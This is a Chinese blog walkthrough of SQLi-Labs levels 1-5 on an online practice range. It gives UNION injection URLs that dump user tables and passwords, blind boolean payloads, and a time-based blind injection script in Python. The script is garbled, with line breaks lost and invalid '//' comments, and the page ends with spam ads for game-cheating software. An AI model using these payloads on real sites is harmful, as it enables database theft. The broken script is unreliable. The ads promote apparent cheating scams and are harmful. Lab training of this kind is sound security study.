SQLI-Labs通关笔记(1-5)——IKN Hong_zhong
创始人
2025-05-29 07:58:59

🍀本人简介

吉师大一最爱逃课的混子、华为云享专家、阿里云专家博主、腾讯云自媒体分享计划博主、华为MindSpore优秀开发者、IK&N战队队长,CSDN2022年运维与安全领域第14名

🍂Orz :

你就不能百度一下吗?
https://www.baidu.com
你就不能Google一下吗?
https://www.google.com
你就不能Bing一下吗?
https://www.bing.com
你就不能NAVER一下吗?
https://search.naver.com
你就不能DuckDuckGo一下吗?
https://duckduckgo.com
你就不能GitHub一下吗?
https://github.com
你就不能F搜一下吗?
https://fsofso.com
你就不能StackOverflow一下吗?
https://stackoverflow.com
你就不能哔哩哔哩一下吗?
https://search.bilibili.com
你就不能Yahoo一下吗?
https://hk.search.yahoo.com
你就不能Yandex一下吗?
https://yandex.com
你就不能维基百科一下吗?
https://zh.wikipedia.org
你就不能萌娘百科一下吗?
https://zh.moegirl.org.cn

这玩意自己搭略微麻烦,感谢启明星辰的在线靶场Orz

Less 1 联合查询之单引号闭合

先让id=1'试试

 报错了,最简单的思路:

单引号报错,其余正常。即单引号引起查询语句错误,也就是单引号闭合

那先爆字段数:

 

 三正常,四错误,即字段数=3

联合查询

http://49.233.61.254:9902/Less-1/?id=-1' union select 1,database(),3 --+

简单说说,-1是为了避免查询时的返回值占位。

说白了就是,如果id=的值不是-1或者极大值(任何不存在的值),那么后台语句在查询时,就会有正常的返回值,而这个返回值会占据一个显示位,可能导致无法观察到咱们真正想要的敏感值。

union select要求左右两侧的字段数必须相等,这也是我们爆字段数的意义所在。

 可以看到,在第二个显示位上出现了数据库的名字:security

http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

group_concat只是将查询的这一列中的多行数据进行连接成为一行字符串,所以我们可以看到

http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

没啥区别,把table(s)换成column(s)即可,后面需要改一下table_schema是指表上一层的数据库

那如果想爆列,那就应该改成列的上一层:表

table_name='users'

 id username password

对应order by 爆出的3

直接用group_concat()爆就好了

http://49.233.61.254:9902/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--

 第一关结束,继续

Less 2 联合查询之数字型闭合

这玩意也挺好判断的

 当id=2-1的返回值等于id=1的返回值时就是数字型

反正我懒,直接把第一题的payload改成数字型就可以了

http://49.233.61.254:9902/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

 Less 3

payload:

http://49.233.61.254:9902/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users--+

也是,改一下就好,思路都是一样的,就是闭合方式不同

Less 4

一样

http://49.233.61.254:9902/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users--+

 Less 5 双注入GET单引号字符型注入

这下不能省事喽

 没有返回具体值,推测盲注,判断下闭合类型

 单引号闭合报错|双引号闭合正常

推测单引号闭合

判断版本号第一位是否是“5”

id=1' and left(version(),1)=5 --+

还可以利用length来判断数据库长度:判断长度是否为“8”

id=1' and length(database())=8 --+

可以看到,当判断错误时,它是并无回显的。

那我们猜这玩意的数据库还是security,看看它前两位是不是se

http://49.233.61.254:9902/Less-5/?id=1' and left(database(),2)='se' --+

当然,在正常做的时候,可以用如下脚本执行

import requests
import datetime
import timedef database_len():for i in range(1, 10):url = "http://49.233.61.254:9902/Less-5/"payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i# print(url+payload+'%23')time1 = datetime.datetime.now()//记录当前时间1r = requests.get(url + payload)//向网站发送请求time2 = datetime.datetime.now()//记录当前时间2sec = (time2 - time1).seconds//2-1做差,获取响应时间if sec >= 1://如果响应时间大于1s,说明payload插入成功,即可判断数据库长度print(i)else:print(i)//否则继续增加负载长度。最终输出的是数据库名称的长度。breakprint('database_len:', i)#获取数据库名
def database_name():name = ''for j in range(1,9):for i in '0123456789abcdefghijklmnopqrstuvwxyz':url = "http://49.233.61.254:9902/Less-5/"payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)#print(url+payload)time1 = datetime.datetime.now()r = requests.get(url + payload)time2 = datetime.datetime.now()sec = (time2 - time1).secondsif sec >=3:name += iprint(name)breakprint('database_name:', name)if __name__ == '__main__':database_name()

 接下来稍微复杂

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100--+

具体来说,这句话中的id=1是一个假设的查询条件,and用于添加一个额外的条件,ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100则是该条件的实际内容。

这个条件实际上是在尝试从当前数据库的信息模式中选择第一个表的名称,并获取它的第一个字符的 ASCII 值是否等于 100(即字符“d”的 ASCII 值)。如果这个条件成立,那么可以确定这个表的名称的第一个字符是“d”。通过类似的方式逐个获取表名的每个字符,最终可以获取到完整的表名,从而对该表进行其他的SQL注入攻击。

在上面的SQL注入攻击语句中,substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)的目的是提取当前数据库中第一个表的名称中的第一个字符,并将其转换为ASCII码值,以便进行比较。这个函数调用包括三个参数:第一个参数(select table_name from information_schema.tables where table_schema=database() limit 0,1)是一个子查询,用于获取当前数据库中第一个表的名称;第二个参数1是要提取的子串的起始位置;第三个参数1是要提取的子串的长度。

在这个函数调用的结果中,最后的两个1并不重要,它们只是函数的参数之一。如果要获取表名的第二个字符,则可以将第二个参数改为2,以此类推。而最后的1则表示要提取的子串长度为1,因为我们只需要比较表名的第一个字符的ASCII码值,所以只提取了一个字符。

如果想要爆第二位的字母,只需将倒数第二个为1的参数改为2即可

 关于substr:

SUBSTR(string, start, length) 

其中,string是要提取子串的原始字符串,start是子串的起始位置,length是要提取的子串的长度。例如,如果我们有一个字符串"Hello, world!",那么SUBSTR("Hello, world!", 1, 5)将返回"Hello",因为它提取了字符串的前五个字符。

在SQL注入攻击中,substr通常用于获取数据库中的信息,例如提取表名、列名或敏感数据等。在注入攻击中,攻击者可以通过调用substr函数,从原始字符串中提取子串,以此来推断出数据库中的结构和数据。

接着类似如下payload判断表名

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

往下以此类推,这玩意太费时间,直接Sqlmap吧nnd

相关内容

热门资讯

分享实测“长虹大厅是不是有挂”... 您好:长虹大厅这款游戏可以开挂,确实是有挂的,需要软件加微信【34169262】,很多玩家在凑一桌游...
重大消息(掌中宝麻将怎么开挂)... 重大消息(掌中宝麻将怎么开挂)√确实真的有挂亲.掌中宝麻将这款游戏是可以开挂的,确实是有挂的,通过添...
〖推荐一款〗如意app有没有挂... 您好:这款游戏如意app可以开挂的,确实是有挂的,通过加微【4579337】咨询,很多玩家在这款游戏...
重磅.通报“约约麻将有开挂辅助... 您好:约约麻将这款游戏可以开挂,确实是有挂的,需要了解加客服微信【3716361】很多玩家在这款游戏...
科普实测“大鹏展翅有没有透视挂... 您好.大鹏展翅这款游戏是可以开挂的,确实是有挂的,很多玩家在这款游戏中怀疑是不是有挂,实际上这款游戏...